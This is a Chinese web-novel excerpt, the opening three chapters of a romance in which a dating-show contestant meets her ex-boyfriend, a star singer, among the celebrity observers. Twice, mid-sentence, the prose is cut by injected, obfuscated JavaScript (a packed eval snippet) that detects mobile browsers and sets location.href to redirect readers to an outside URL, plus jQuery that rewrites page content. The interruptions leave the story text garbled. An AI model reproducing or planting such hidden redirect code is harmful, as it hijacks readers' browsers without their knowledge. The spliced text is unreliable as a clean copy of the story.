《旧时情歌》 1. 1首情歌 《旧时情歌》 文/笛骨 首发于晋江文学城 * 江城四月,春寒还未完全褪去,微风扫过皮肤时,留下了暮春清冷的抚触。 推开小院的铁艺大门,时缈拉着行李箱,沿着木质小径穿过院内一片半开半合的鸢尾花丛,以及两旁大喇喇立着的摄影机和全副武装的工作人员们,停在了小别墅的门前。 望着面前显然是经过一番悉心修葺的院落,以及斜前方不远处隐约露出的露天游泳池的一角,时缈短暂地跑了会神。 这里就是她接下来一个月要住的地方了。 和一群之前素未谋面的陌生人,在一栋陌生的别墅里,在无数摄影机的注视下共同度过三十天,虽然来之前给自己做足了心理建设,但真当她站在别墅门前时,时缈还是难免有些心里打鼓。 “时缈?” 见她愣着,跟在摄影机后的工作人员小声地唤了她一声。 这一声让她迅速回过了神。 合约都签了,节目组直播也开了,这会儿要是撂挑子不干,合同上白纸黑字印着的违约金她可负担不起。 偏头看向离她不远的PD姐姐,时缈眨了眨眼:“那我现在就进去了哦?” 摄影师适时地切换拍摄角度,原本画面中神秘高挑的纤细背影终于露出了庐山真面目—— 画面中的女人化着淡妆,线条流畅的精致瓜子脸,皮肤在高清直播摄像头下细腻得看不见瑕疵,一对细长的柳叶眉衬得整张脸充满了温柔娴静的古典气质,鼻梁高挺鼻尖小巧,嘴角含笑。 像是没想到摄影镜头会忽然从后面绕道面前似的,时缈直直看着怼近的镜头愣了一下,一双杏眼仿佛透过屏幕直直看进每一个镜头之外的观众的心里。 弹幕上立刻爆发出一阵激烈热闹的讨论: 「姐姐好美!入股了!买定离手这个姐姐一定是今晚得票最多的女嘉宾!」 「姐姐有没有社交平台账号啊!想知道美女的护肤教程!到底是怎么做到皮肤这么好的啊,高清镜头拉这么近都看不到瑕疵的!」 「节目组牛啊,哪儿找来的颜值这么高的素人嘉宾?」 「素什么人?参加这种节目要么是奔着进娱乐圈,要么是奔着当网红,不会有人天真地以为他们参加恋综真的是为了找对象结婚的吧?」 …… 而对自己掀起的小小讨论热潮丝毫不知的时缈,在看见镜头外的PD朝她比了个“ok”的手势后,搭在把手上的手指稍稍用力,“咔哒”一声,锁舌谈起,明亮温馨的玄关灯应声亮起。 “是不是有人来了?” 隐约有人声从里面传来。 时缈弯腰换鞋,眸子快速扫过眼前的鞋柜,取出里面仅剩的一双浅粉色拖鞋。 ——她是最后一个抵达别墅的嘉宾。 就在时缈要将行李箱提上玄关的台阶时,一高一矮两个人影出现前方。 她抬头看向来人。 走在前面的是一个穿着浅灰色西装的高个男生,脸上带着温和的浅笑,看上去一副体贴温和的精英模样,在同她打过招呼后,主动地上前接过她的行李箱:“我来帮你拿吧。” “女生的房间在三楼,一共两个房间,每个房间可以住两个人。” 另一个来“迎接”她的是个女生,说话语速很快,笑声爽朗,十分主动热情地朝她介绍起别墅内的情况:“就差你一个了,我们想着等人齐了再一起选房间呢。” “我叫温璐,你可以叫我璐璐,你呢?怎么称呼?” “时缈。时间的时,缥缈的缈。” “路上有点堵车,所以来得有点迟。” 节目组本就想将时缈的出场次序排在最后,路上的堵车恰好为节目组的安排添了块砖加了片瓦。 “确实,咱们这里离市区有些距离呢,如果你顺路的话,咱们可以约着一起早起出门上班。” 女生顺着她的话往下说,带着她走近“拥挤”的客厅里。 客厅的沙发上已经坐满了人,而他们的周围,布满了大大小小高高低低的摄影机,以及几个站在摄像头死角、聚精会神看着摄影机屏幕的工作人员。 这是一档名叫《适合恋爱的夏天》的综艺。 顾名思义,是一档恋爱综艺。 而时缈,就是来节目里“谈恋爱”的素人嘉宾之一。 与其他恋综不同的是,《适合恋爱的夏天》不仅首次采用了“直播+录播”的双线播出方式,更是打出了“沉浸式观察”的旗号,将以往只能坐在录影棚里看素材的“观察嘉宾”们邀请到了别墅内,与素人嘉宾们一起进行节目录制。 也就是说,参加这档节目的素人不仅能够在这里找到“真爱”,还能体验一把和明星同住一个屋檐下的感觉。 而观众们既可以把这档节目当做一个恋综,在素人嘉宾们的约会互动中嗑糖,也能把它看做一档真人秀,看到自己喜欢的明星们平日里的生活状态,可谓是同时吸引到了两批不同的受众,极大拉高了节目的上线前预约人数。 因此这节目还未开始录制,就吸引了无数网友的关注。 关于入住别墅的明星观察员阵容,网上的各种猜测也层出不穷。 但为了将这个噱头的效益发挥到最大,节目组可谓是将保密措施做到了极致,别说观众们了,连他们这些素人嘉宾都不知道自己即将在这个别墅中遇见的会是哪些明星。 其中呼声最高的,当属去年官宣结婚的,有着“娱乐圈姐弟恋模板”之称的演员夫妻,秦挽筝和林翊燃。 两人因戏生情、假戏真做的故事至今都是剪刀手们屡用不爽的创作素材—— 「1L:这次星光TV的新恋综有没有可能请到翊往秦深,他们的cp热度这两年高得离谱,而且,真夫妻嘛,我想看嘿嘿嘿……」 「2L:真夫妻,我也想看。」 …… 「45L:cp粉们先收收味儿,那么想看的话让你们正主自己参加夫妻综艺去啊,来素人恋综秀什么?」 「46L:没错,我是来看普通人暧昧推拉的,不是嗑明星cp的。」 …… 「188L:我摊牌了,我是个破写文的,平时看恋综就是为了找灵感的,观察嘉宾我觉得最好是请点有恋爱经验、能说得出靠谱观点的吧,以前看某友台节目没少被带偏,嘉宾还不如我分析得准。」 「189L:附议,来点眼神好的嘉宾吧,老恋综人没少被快被剪辑和嘉宾带沟里,节目组你们欠我的拿什么还!」 「190L:歪个楼,问问188哥,看这种综艺是真能找到灵感吗?」 「193L:回190哥,反正我是可以,每次没灵感了就找点小甜剧、恋综之类的东西刷一刷,或者玩玩乙游也行,指不定什么时候有灵感就库库往外冒了,所以市面上各个国家的恋综我基本都看过一遍了,可谓是我的甜文灵感大宝库哈哈哈。」 「197L:看了188大哥的回复……我有一个大胆的想法。」 「198L:楼上的朋友,不会和我想到一起去了吧?」 「202L:你们可真敢想,反正我是不敢说。」 「206L:楼上各位打什么哑谜呢?把话说完是会犯天条嘛?」 …… 「312L:你们不敢说,我说!@许钧闻工作室,把我那个不会写情歌的老公放进来找找灵感学学怎么写情歌!」 「313L:猛士。@许钧闻工作室」 「314L:@许钧闻工作室」 …… 许钧闻。 如今歌坛炙手可热的创作型歌手,四年前为某游戏的全球总决赛创作的年度主题曲一炮而红,从此事业一路高走,斩获国内外各大权威音乐类奖项。 一跃成为了歌坛“顶流”。 而许钧闻这人更独树一帜与众不同的地方在于,他本人出道至今从来不写情歌。 论坛里那条猜测恋综嘉宾的贴子发展到最后,变成了一个大型“赛博许愿池”,网友们浩浩荡荡艾特了“许钧闻工作室”好几百条。 甚至#让许钧闻去恋综学写情歌#这个词条一度冲到了当晚热搜榜第三位。 词条广场更是成了一片欢乐的海洋: 「现在好了,所有人都知道许钧闻不会写情歌了,乐死。」 「@许钧闻工作室,真的不考虑考虑群众的呼声吗?“许钧闻的第一首原创情歌”是什么地位不用我多说吧,但凡发歌绝对分分钟登顶各大榜单好吧,会不会做生意啊,这还用我教你?」 其中也不乏反对的声音: 「有完没完?好好一个歌手,撺掇人家参加什么恋综?」 「就是,非得送上去惹一身乱七八糟的话题才开心?是不是真粉啊?建议工作室严查。」 「还教人工作室做事呢?许钧闻自己当老板为的不就是不让别人教他做事吗?人家打心眼里不想写那些无病呻吟哗众取宠的情歌罢了。」 「行了行了别吵了,我老公说了,这辈子情歌只写给我一个人听,其他人赶紧洗洗睡吧。」 「楼上几粒花生米啊醉成这样?来人呐,给我滋醒她!」 …… 但面对互联网上的风波,从节目组到许钧闻工作室从始至终没有做出任何回应。 这也就是为什么,今天《适合恋爱的夏天》一开播,直播间内就瞬间涌入了数十万网友—— 当然是为了看看自己究竟有没有押中题啊。 见到时缈,还在闲聊中的嘉宾们纷纷起身同她打招呼,时缈挽了个浅笑同大家打招呼。 按照节目组的安排,嘉宾们初次见面的环节,除了自己的姓名之外,不能再透露其他个人信息。 因此八位嘉宾互相自我介绍的环节耗时也并不长,客厅中的热络很快淡了下去,嘉宾们你看看我、我看看你,谁都没好意思先说话。 “既然人都到齐了,咱们就拆任务卡吧。我可是已经忍了老半天了。” 温璐拿起茶几上印着节目logo的粉蓝色信封,动担起了cue流程的重任: “为了迎接即将到来的观察团成员,请嘉宾们一男一女两两组队完成以下任务……那么,咱们要怎么组队呀?” 大家都是第一次见面,互相也并不熟悉,一时间面面相觑,没有人主动开口。 “要不……”有人主动开口。 “时缈,要不我们一起?” 听见自己的名字,时缈抬眼望过去。 是刚才在玄关主动帮她领箱子的男人,通过刚才的自我介绍环节,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177610|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得知了他的名字,白景川。 和所有人都是第一次见面,时缈目前对于和谁组队外出并没有偏向,既然人家都主动开口邀约了,她自然也不会拒绝——恋综嘛,一切任务设计的最终目标自然是要让各位嘉宾多和异性接触。 弹幕热闹看戏: 「好好好,男一哥先下手为强!」 「男三刚才看起来好像也是想邀请女四小姐姐的吧?眼睛一直往女四小姐姐那儿飘呢,结果晚了一步小姐姐就是别人的搭档了,笑死。」 「雄竞多来点!好看,爱看!」 「好的,决定就叫你直球哥了hhh」 * 节目组一共设置了四个任务。 去超市购买今日的晚餐食材。 去花店购买花束装点别墅。 去宠物店给别墅里的小金毛买粮。 去家居城为客厅选购懒人沙发。 任务不难,设置的地点都是一些适合小情侣们日常约会闲逛的场所,既不会太过亲密失去分寸,又带有一些适当的暧昧气氛。 足见节目组的用心。 白景川的率先邀约打破了众人互相试探小心翼翼的氛围,其余嘉宾很快也完成了组队,经过抽签,确定了每一组的任务。 时缈抽到的任务是花店买花。 “你有什么比较喜欢的花吗?” 白景川带着时缈,按照节目组提供的地址,驱车来到了一家足足两层的超大花店,一推开门,浓郁的香气扑面而来。 他绅士地撑着巨大的玻璃门,让时缈先进。 时缈环顾了一圈。 她已经很久没有为了布置屋子而专程买过花束了。 时缈的视线划过左侧一个装满未开的黄百合的塑料桶:“都还行,你呢?” “那就先转转吧,说不定逛一逛就碰见喜欢的花了,”白景川笑笑,晃了晃臂弯里挂着的外套,“里面冷气开得比较足,冷的话告诉我。” 时缈微不可查地挑了下眉。 没有直接将外套给她披,既不会让她在直播镜头下难做,又体现了自己的体贴周到。 不论她是否抱着要在节目里成功找到一个男朋友的目标而来,此刻,白景川这个人给她的印象都还不错。 “好。”她弯弯眉眼,应下。 最终,两人不光买了几捧花束,还在时缈的提议下买了几个造型各具特色的花瓶。 “感觉你是个挺有生活情.趣的人,我妈偶尔带束花回家,都是随便给它找个容器摆两天了事,很少专门挑花瓶给它们做搭配。” 打从第一眼,白景川就对时缈的印象十分不错,花店这一趟,更觉得她性格温柔,气质沉静。 因此回程的车上,他很主动地找话题和时缈闲聊,一时间两人之间的气氛倒也十分和谐。 “也不知道节目组请来的观察嘉宾会是谁,节目组的保密工作做得是真好啊。” “你有比较期待的明星嘉宾吗?” 白景川打着方向盘,车子向左转过一个路口。 感受着惯性,时缈的大脑也仿佛在此刻不受自己控制似的冒出了一个名字。 随即又很快地被她否定了。 这世界上哪有那么巧的事。 那人肯定对这种恋爱综艺没什么兴趣的。 按他那性格,只要是他不想做的事,这世上就没人能强迫得了他。 “我觉得不管请谁来都挺好,”面对这种稍有不慎就会招来粉丝谩骂的话题,时缈回答得很谨慎,开了个玩笑把话题揭了过去,“毕竟这可能是我这辈子离明星艺人们最近的一次了。” 两人有一搭没一搭地聊着,很快便抵达了别墅门外。 经过一下午摄影机的跟随,时缈一开始的不自在感已经减少了许多,轻车熟路地抱着花进入别墅,刚一开门,就听见屋内传来热络的聊天声。 “他们回来得都那么快吗?”白景川有些意外。 时缈耸肩:“可能是因为咱们去的那家花店比较远吧。” 时缈抱着花束,白景川抱着花瓶,两人一前一后地走进客厅。 “你们可算回来了!咱们的观察嘉宾都到了呢!” 温璐热络地迎过来,接过时缈怀中其中一束花:“哇,好香好漂亮!和你一样好看!” 时缈受宠若惊地眨眨眼,提着并不存在的“空气裙摆”朝温璐做了个屈膝礼。 “你猜节目组来的观察团嘉宾是谁?”温璐脸颊都泛着薄红,神秘兮兮地凑到时缈耳边,语气里是按捺不住的兴奋,“你绝对想不到!” “是吗?那你就直接告诉我……”时缈一边回应一边跟着她往人群处走。 话音未落,时缈的目光已经越过屋内众人,落在了人群中央,被众星捧月般围着的四个人影。 然后就那么和坐在中间,面上懒洋洋地没什么表情的人对上了视线—— 许钧闻……? 怀里还抱着花束的时缈怔愣在原地,满心错愕。 这世界上怎么会有这么巧的事? 眼前众星捧月坐在沙发C位的,不就是大家都以为不会参加这种综艺的、号称“不会写情歌”的许钧闻吗? 不就是,她那“分手六年,归来已是顶流”的…… 前、男、友、吗!? 2. 2首情歌 时隔六年,时缈还是很轻易地就能在人群中一眼看到他。 宛如身体习以为常的本能。 话题风暴中心的男人正倚在沙发靠背上和旁边另一位男演员说话,听见不远处有人走近的动静,抬眼望过来。 他穿着一件颇为休闲的卫衣,袖子被随意拉到小臂,露出了一截漂亮的肌肉线条。修长而又骨节分明的手指上叠戴着两枚银白色的戒指,在灯光下泛着漠然的冷光。 那张面庞和时缈记忆中并没有什么不同。 只是那人曾经一望向她就会盈满温柔笑意的眼神早就被时光消磨殆尽。 取而代之的神色淡漠得像是见到了一个无足轻重的陌生人,只短暂停留了一瞬就无甚在意地挪开。 也对。 时缈垂下眸子。 他们现在的关系,和陌生人也没有什么区别。 “现在,咱们人就全部到齐啦。”左侧单人沙发上一个女声响起。 “自我介绍一下,我是这次节目的观察团成员之一,祝意安,大家叫我祝祝或者意安都可以,很高兴认识你们,希望接下来能和大家一起度过一段非常难忘的旅程。” 看得出平台和出品方对这档节目寄予厚望。 请来的四位明星观察团成员都是圈内颇具热度流量的艺人,既有号称“美貌与智慧并存”的当红主持人祝意安、事业爱情双丰收的新晋影帝程子归,还有去年刚出道就凭借一部古装偶像剧跻身一线的流量小花青葭。 当然,最引人注目的还是人帅歌更帅、出道八年不写情歌不传绯闻、方圆五里连只母蚊子都很少见到的当红创作歌手—— “许钧闻,是个歌手。” 他的自我介绍极其简单,但也足够引起弹幕新一轮的狂潮: 「我靠!节目组居然真的能请到许钧闻!发达了啊!」 「笑死,该不会真的是被工作室打包扔来找灵感学写情歌的吧?」 「生活不易,闻哥叹气,但我笑得实在太开心了哈哈哈哈哈哈哈哈」 「我不信只有我一个人好奇许钧闻和恋综究竟会擦出什么样的火花hhhh」 在此之前没有人真的相信《适合恋爱的夏天》这档节目真的能请到许钧闻—— 这可是个宁愿赔付巨额违约金,也不肯接受前司摆布做个提线木偶摇钱树的许钧闻啊。 当年的解约官司打得轰轰烈烈人尽皆知,是连不爱上网冲浪的普通路人都有所耳闻的程度。 解约后许钧闻成立了自己的工作室,以每年一张专辑的速度登顶各个音乐app销量榜单,横扫各大乐坛主流奖项,不少音综想邀请许钧闻担任导师评委,却都被他拒之门外。 可他现在,活生生的一个人,就坐在这档以“恋爱”为主题的直播综艺镜头前。 很难不怀疑节目组是不是抓到了许钧闻什么把柄,才能让许钧闻心甘情愿出现这里。 #许钧闻适合恋爱的夏天#这个词条很快被刷到了热搜前几名,后面还缀着一个“爆”字。 微博网友们纷纷看热闹不嫌事大地艾特许钧闻: @许钧闻,你要是被绑架了就眨眨眼啊! * 许钧闻有没有被人绑架,时缈不知道。 但时缈此刻清晰地知道了什么叫“屋漏偏逢连夜雨”。 还有什么比“自己参加恋爱综艺,前男友竟是观察员”更让人社死的吗? 哦,当然有。 那就是——当年的分手还是她先提出来的。 其他素人嘉宾纷纷上前和明星观察团的成员们握手,每个人脸上都带着恰到好处的笑意。 只有时缈磨磨蹭蹭地走在最后,用力地闭了闭眼。 真希望再睁眼时她就重生了,重生在签订恋综参演合约的前一天,哪怕是签字的前一秒也行。 但生活不是玄幻小说,就算再闭眼睁眼一万次,时缈也改变不了眼前的现实。 镜头还在拍,她绝对不能逃跑。 合约都签了,白纸黑字写在合同上的违约金她可赔不起。 时缈微笑着和最外侧的祝意安握了手,然后是程子归,再是青葭,最后,站定在许钧闻面前。 “许老师您好。”她伸出手。 镜头只能看见她面上无害得体的微笑,照不见她心底的视死如归。 不像和其他素人握手时的利落爽快,许钧闻的目光定定落在她脸上,像是在审视。 一秒、两秒、三秒。 在弹幕和现场快要察觉出许钧闻的反常时,他伸手握住她的:“你好,很高兴认识你。” 淡漠、疏离,与对其他人的态度无异。 许钧闻手指上带着薄茧,是常年弹钢琴和吉他留下来的,时缈可以说是对它再熟悉不过。 那层薄茧曾经沿着她的脊背在她心底点起一片燎原的火,也曾经紧贴她的脖颈将她整个人紧紧扣在怀里。 她曾经以为,她能一直牵着这双手。 可最终—— 是时缈主动放开的。 两人浅浅相握的手同时松开。 时缈指了指放在桌上的花束,示意大家自己要暂时离开客厅一阵:“我先去把这些花整理一下。” 白景川也简单地向几位明星观察团的成员介绍了自己的名字,快步跟了上去。 “我去看看有没有什么需要帮忙的。”紧接着出声的是之前分组时想邀请时缈,却被白景川捷足先登了的男嘉宾周璨。 虽然能够近距离接触到这几个平日里只能在电视上看见的明星的机会确实难得,但看见白景川又要找机会和时缈独处,他自然产生了紧迫感,忙不迭跟了上去,想通过接触互动加深时缈对自己的印象。 “这么快就发展出感情线了呀,”青葭抬手掩住嘴角抑制不住的甜笑,小声朝许钧闻道,“这还是我第一次这么近距离地看恋综呢,好兴奋。” “许老师,你之前看没看过这类综艺?” 许钧闻的目光落在时缈身影彻底消失的拐角,淡淡地应了声:“没有。” 刚才进行自我介绍的时候,青葭就大大方方地对着镜头承认了自己是许钧闻歌迷的事实,恰到好处地表现出了作为粉丝,能和偶像同框录制节目的激动和羞涩。 此时更是丝毫不介意许钧闻冷淡的语气,继续主动和他攀谈:“那这么说的话,能够参与到许老师的第一次恋综录制经历当中,是我这个粉丝的荣幸呢。” “说什么荣幸不荣幸的,不用这么客气。” 许钧闻却没有接青葭的话茬,自顾自站起身,单手插兜朝着时缈刚才离开的方向走去: “我上楼收拾一下东西。” * 冰凉的流水淋在掌心,沿着指缝滑到指尖处再重重砸进水池里,时缈垂眼修剪着花枝,时不时回应几句身旁两位男嘉宾的话题。 许是她一出场给人的感觉就十分温柔娴静,因此即便她此刻话语不多,也没人看出她的心不在焉。 分手六年,即使时缈人在国外,也难免在各种媒体软件上刷到许钧闻的消息: 他的数字专辑又拿到了销量榜第一名。 他的代言广告挂满了街巷。 他的某首歌再次拿到了“年度最佳歌曲”奖。 …… 她的世界里,处处没有他,却处处都是他。 时过境迁,时缈原以为自己的心情不会再因为这个名字而产生起伏波动了。 直到今天这场意料之外的重逢,令她不得不承认,她也没有自己想得那么洒脱。 毕竟当年那样赤忱热烈地相爱一场。 但时缈还不至于自恋到认为许钧闻接下这个综艺是因为自己。 她猜测,许钧闻大概率不知道自己会参演这档综艺。 按照他的性子,如果知道当年与他断崖式分手的前女友也在这个节目里,应该是宁肯再次赔付违约金也要离她远远的才对。 时缈心底甚至有些暗戳戳地期待许钧闻会主动解约退出节目录制。 “这几瓶花要放在什么地方?” 时缈飘远的思绪被周璨的声音拉了回来。 “客厅放一瓶吧。”白景川似乎看出了她短暂的走神,主动提议。 周璨不甘示弱:“我觉得餐桌上也能放一瓶。” 时缈的目光落在最后一个花瓶上, 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傍晚,残留在天幕尽头的余晖落下来,将整个别墅涂成金黄色,一只蜻蜓闪动着翅膀飞过时缈的身边,逗留在花瓶上方打了个转的时候留下一道影子,仿佛它曾在她的肩头停留片刻似的。 环顾了一周,确定了节目组真的没有在这个角落安装摄像头,时缈这才放松下来,大喇喇地抱着花瓶靠在墙壁上,深深地吐了口气。 前段时间在团里没日没夜连轴转地盯排舞剧都没有令她这么疲惫。 许钧闻只在她面前出现了五分钟,就让她感觉快要喘不过气来了。 还以为这辈子不会再和许钧闻有任何交集了。 但人家现在已经是大明星了,想必也不想和她有任何牵扯吧。 如果能井水不犯河水地过完这一个月就最好了。 时缈用力捏了捏自己的鼻梁,整理了一下复杂的心情,起身继续朝星空房走去。 却在转过拐角,看见了同样站在摄影机拍不到的角落,独自一人倚着墙壁的许钧闻。 人人都说许钧闻不光有一副天使吻过的好嗓子和一身难以掩盖的创作才华,还长了一张天生适合混娱乐圈的脸。 时缈还记得,许钧闻的第一任经纪人曾说过,即使许钧闻不会创作、五音不全,甚至哪怕他四肢不协调毫无音律感,仅凭着这张脸公司都能把许钧闻捧成最红的流量男爱豆。 六年过去了,许钧闻的脸与她记忆里没什么太大的分别。 只是从当年的青涩张扬,变成了如今的锐利桀骜。 她知道,许钧闻骨子里就是一只蓄势待发的猎豹,不会、也不能受任何人的约束。 时缈的目光只在他脸上停留了一秒钟,便快速移开,却又不小心将他垂下的手指间捏着的那枚已经熄灭的烟头收入眼底。 她记得当年他们恋爱之后,因为她不喜欢烟味,许钧闻便主动戒了烟。 现在…… 时缈垂下眸子。 也对,没人说戒掉的东西不会重新捡起来。 时缈正犹豫着不知道该不该打声招呼——虽然很尴尬,但最坏的情况就是他们两人接下来一个月都会处于抬头不见低头见的状态,若一直僵着,难保不被其他嘉宾以及广大直播间观众们看出端倪。 许钧闻却已经径自转身离开。 燃到一半的香烟被他掐灭,随手丢进了角落里的垃圾桶里。 时缈抿紧了唇。 感觉到空气中参与的烟草味擦过她身边,被一阵微风吹散,彻底消失不见。 * 重新回到别墅内部时,所有嘉宾都已经齐聚餐厅,饭菜的香气袅袅地盘旋在半空中。 “回来啦时缈,”温璐率先招呼她,“快洗洗手开饭了!” “这花儿插得真不错,”青葭拉开许钧闻身边的椅子的同时,还不忘和他搭话,“许老师你觉得呢?” 时缈洗过手,走到餐桌边,恰巧听见这句。 “还行吧,我对花花草草没什么特别的偏好。” 许钧闻的目光掠过餐桌正中央的花瓶,轻描淡写地继续说道:“唯独不大喜欢百合。” 3. 3首情歌 此话一出,场面出现了一瞬间的沉默。 因为摆在餐桌上的那只花瓶里,正中央就插着一高一矮两支多头百合。 粉白相间的花朵开得灿烂热烈,花蕊恰巧正对着时缈的方向。 四组素人嘉宾们外出做任务的一路都有设备跟随直播,观众们可以随意选择任何一个直播间进行观看。 其他直播间的观众或许不知道,但全程跟看了时缈这一组的网友们都见到了——百合是时缈提出要选的。 在场的其他人的目光更是不由自主地落在了时缈身上。 不论如何,花是人家女嘉宾亲手插瓶的,许钧闻这句话,多少是有些不给人家女孩子留面子了。 “正常哈,正常,萝卜青菜各有所爱嘛。” 程子归出面打圆场:“我老婆很喜欢郁金香,但我就更喜欢天堂鸟。每个人喜好都有所不同嘛。” “就像现在,虽然钧闻不喜欢百合,但我就觉得时缈挑的这两支百合就很好看嘛。” “程老师,在节目里夸别的女孩子插的花好看,不怕回去之后被罚跪搓衣板哦?”祝意安借着话题打趣程子归,自然地将话题引向了其他方向。 其余的人也纷纷附和,将这尴尬的一幕打着哈哈揭过。 弹幕里也分成了两派。 一派是谴责许钧闻的,认为他当着素人女孩子的面说这话实在没有绅士风度: 「人家女四小姐姐抱着花进来的时候他也在吧?不喜欢就不喜欢,何必当着面下一个素人女生的面子?yue了,下头。」 「所以不会写情歌是因为压根没情商是吧,粉丝也别说你家哥哥是不屑于写无病呻吟情情爱爱的东西了,我看摆明就是情感缺失情商低下吧。」 另一派则是维护许钧闻的,认为他只是实话实说而已: 「不喜欢就是不喜欢啊,怎么,还不允许有人不喜欢百合了?我也不喜欢啊,味儿那么冲,隔二里地都觉得刺鼻子。」 「是青葭先问我哥喜不喜欢花的啊,我哥只是就事论事实话实说而已,有些黑子不要过度解读乱扣帽子哈,一个正常问答而已,怎么就上升到针对素人的程度了?我看是许钧闻实火惹人嫉妒了吧?」 而被迫置身于风口浪尖上的另一个主人公,时缈却不由自主地想起了一些过往岁月里的细枝末节—— 许钧闻不喜欢百合吗? 以前她乐此不疲地在他们的床头定期换上新鲜百合花的时候,也没听他说过不喜欢啊。 相反,很多个潮湿暧昧的夜里,许钧闻会伸手将开到尽头摇摇欲坠的花朵从花茎顶端掐下来,别在她被汗水浸湿的鬓发之间,看着花蕊在她脸颊旁颤抖,调笑着将骨节分明的修长手指凑到她鼻尖,让她分辨他的指尖上沾着的气味到底是花的还是她的。 “百合,”肆意妄为的少年人陡然发难的同时,俯身吻住她的唇瓣,将她的声音尽数吞下,却还不依不饶地追问她,“喜欢吗?” “好啦好啦,我都饿了,赶紧开饭吧。”温璐的身影将时缈从混乱的回忆里拉回现实。 她拉开两把椅子,朝时缈笑道:“时缈,你要不要和我坐一起?” 时缈同她对视,朝她露出了一个倩丽的笑容:“好呀。” 所有嘉宾齐聚别墅的第一顿晚餐。 起初素人嘉宾们还有些不自在,毕竟他们之中绝大部分人是第一次在镜头环绕下和明星共进晚餐,但好在节目请来了著名主持人祝意安,在她的引导和控场下,素人与明星之间的隔阂感很快就消除了大半。 晚餐进行到一半,坐在时缈对面的周璨忽然开口对她说:“看你都没怎么吃,是不合胃口吗?” 一时间,桌上人的目光全部聚焦到她身上来。 “啊,没有,”时缈摆摆手,示意其他人不必在意,“菜很好吃。” 她给自己找了个借口:“可能是今天折腾了一下午,有点累了,脑子和肢体都有点跟不上趟了。” 扫了一眼离自己最近的几道菜,时缈夹起一只虾慢吞吞地剥:“我真没事。” “这么瘦,还是应该多吃点,”白景川主动站起身,拿起她面前的盘子用公筷为她夹菜,“该不会是在减肥吧?” “没有,真没有。”时缈哭笑不得。 眼看着白景川给她夹了几块排骨,又添了一些时蔬,筷子即将伸向那盘芹菜炒香干的时候,时缈连忙拒绝:“够了够了,吃完我自己再添。免得浪费。” 白景川伸到一半的手顿了顿,而后点头:“别拘谨,多吃一点。” “好的好的,谢谢。”时缈道谢。 她吃得少的原因除了的确没什么胃口之外,更重要的是,面前四道菜里既有芹菜也有茄子——都是她从小就不喜欢吃的,而她比较喜欢吃的土豆炖牛腩则恰好放在许钧闻斜前方。 节目组设置的是一张白色长桌,许钧闻坐在她对面,当仁不让的中心位。而她坐在长桌最右侧,离许钧闻,啊不,离她喜欢的土豆炖牛腩隔着半张桌子的距离。 桌上没人起身,她自然也不好意思越过好几个位置去添菜。 更何况那道菜还恰好在许钧闻附近。 夹了一筷子绿叶子菜塞进嘴里,时缈的目光不由自主地飘到桌子那端的牛腩上。 而后在心底默默叹了口气。 算了,就当是在控制体重了。 正在心底安慰着自己,忽然听见许钧闻开口: “两边的菜换一换吧。” 时缈咀嚼的动作一顿。 而后又听他继续说道:“我感觉程哥盯着那盘红烧排骨好一阵了。” 弹幕里飞快闪过一大片“哈哈哈哈哈”。 还有不少夸他细心的。 “早说啊程老师,”青葭接着许钧闻的话头,声音甜甜的,“大家都是自己人,偶像包袱别那么重嘛。” 众人其乐融融地笑着,将桌子两端的菜调换了一下位置。 时缈垂下眼睛,敛起眸子里那一点点小雀跃——终于吃上了自己心心念念的牛腩。 还别说,味道还真挺不错,有点像以前读大学时校门口那家小馆里的味道——以前她和许钧闻每次去吃饭,都要点那家做的土豆炖牛腩。 或许是再次见到许钧闻的缘故吧。 时缈总觉得自己今天一下午想起的往事,比过去六年见想到的还要多。 这可不是什么好事。 作为一个合格的前任,尤其是一个大明星的前任,她必须做到对这段过去绝口不提,就像两个人从没认识过才是对他们两个人最好的、最负责的选择。 或许是因为帮她夹菜的机会又被白景川抢先了一步,周璨开始十分殷勤地为时缈添茶倒水拿纸巾,弹幕一片“弟弟加油”“弟弟主动”“浅嗑一口”的打趣。 时缈也不好驳了周璨的面子,只能捧着杯子小口小口地喝了一点。 不敢多喝。 怕明早起来水肿。 虽然不是什么明星艺人,但毕竟要在镜头下生活一个月,时缈还是想保持自己最好的状态。 “偶像,能帮我递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177612|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下水壶吗?”青葭端着自己的杯子。 许钧闻侧过头:“嗯?” “我想倒点水,”青葭眨眨眼,发现许钧闻刚才似乎是没听见自己的话,“在想什么呢?新歌创作吗?” “没有。” 许钧闻起身,从周璨和时缈中间拿过水壶放在青葭面前。 青葭看看自己见底的杯子,又看了看坐回原位的许钧闻。 她是想让许钧闻给自己倒水的啊!难道她暗示得不够明显吗?就算她暗示的不明显,照顾女士难道不是男性最基本的礼貌嘛! 见许钧闻真的没有给自己倒水的意思,青葭只好自己端起水壶给自己续了一杯。 然后低头喝水不再说话。 「乐,青葭刚才是想等许钧闻给她倒水的吧?」 「偶像如此不解风情,妹妹实惨23333」 「惨什么惨??有手有脚自己不能倒水非要男人伺候是吧?才不惯这臭毛病呢!」 「明明是自己没礼貌不绅士还反过来说人家的不是了,瘟神的粉实在是瘟到我了」 「@节目组管理员,叫黑称都不管管了?这就是你们节目对待嘉宾的态度?」 * 晚餐结束后,本着公平的原则,嘉宾们商量好,没有下厨做饭的几人负责“打扫战场”。 而时缈想要尽量减少和许钧闻同处一个空间的时间,主动留下来洗碗。 